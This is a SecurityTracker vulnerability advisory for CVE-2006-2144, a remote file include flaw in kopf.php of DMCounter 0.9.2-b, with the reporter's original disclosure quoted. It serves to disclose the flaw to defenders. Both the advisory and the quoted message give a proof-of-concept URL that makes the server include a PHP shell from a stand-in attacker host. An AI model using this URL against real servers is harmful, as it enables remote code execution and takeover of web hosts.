SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   DMCounter Vendors:   dmcounter.sourceforge.net
DMCounter Include File Bug in 'kopf.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016014
SecurityTracker URL:  http://securitytracker.com/id/1016014
CVE Reference:   CVE-2006-2144   (Links to External Site)
Updated:  Aug 15 2009
Original Entry Date:  May 1 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 0.9.2-b
Description:   beford discovered a vulnerability in DMCounter. A remote user can include and execute arbitrary code on the target system.

The 'kopf.php' script does not properly validate user-supplied input in the 'rootdir' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/dmcounter/kopf.php?rootdir=http://[attacker]/phpshell.txt?

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  sourceforge.net/projects/dmcounter (Links to External Site)
Cause:   Input validation error, State error

Message History:   None.


 Source Message Contents

Subject:  DMCounter Remote File Include

Script: DMCounter
Version: 0.9.2-b
Language: PHP
Problem: Remote File Include
Vendor: http://sourceforge.net/projects/dmcounter
Discovered by: beford <xbefordx gmail com>

Description
=============
Statistics software based on PHP which does not require any database
support but just uses flat files. Daily + monthly visits, which pages, from
where, browsers and OSs are listed and visually presented

Problem
=============
A remote user can supply a specially crafted URL to cause the target
system to include and execute arbitrary PHP code from a remote
location. A remote user can execute arbitrary PHP code and operating
system commands on the target system with the privileges of the
target web service.

The vulnerable file is kopf.php

1 <?php
2 $basepath=getcwd();
3 include($rootdir.'/lang.php');

$rootdir is not being declared before using it in the include() function.


Proof of Concept URL
==============
http://victim.com/dmcounter/kopf.php?rootdir=http://attacker.com/phpshell.txt?

Greets:
==============
][GB][
Zetha - http://odiameporsernegro.org
uyx
fallen - x33x37.org
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC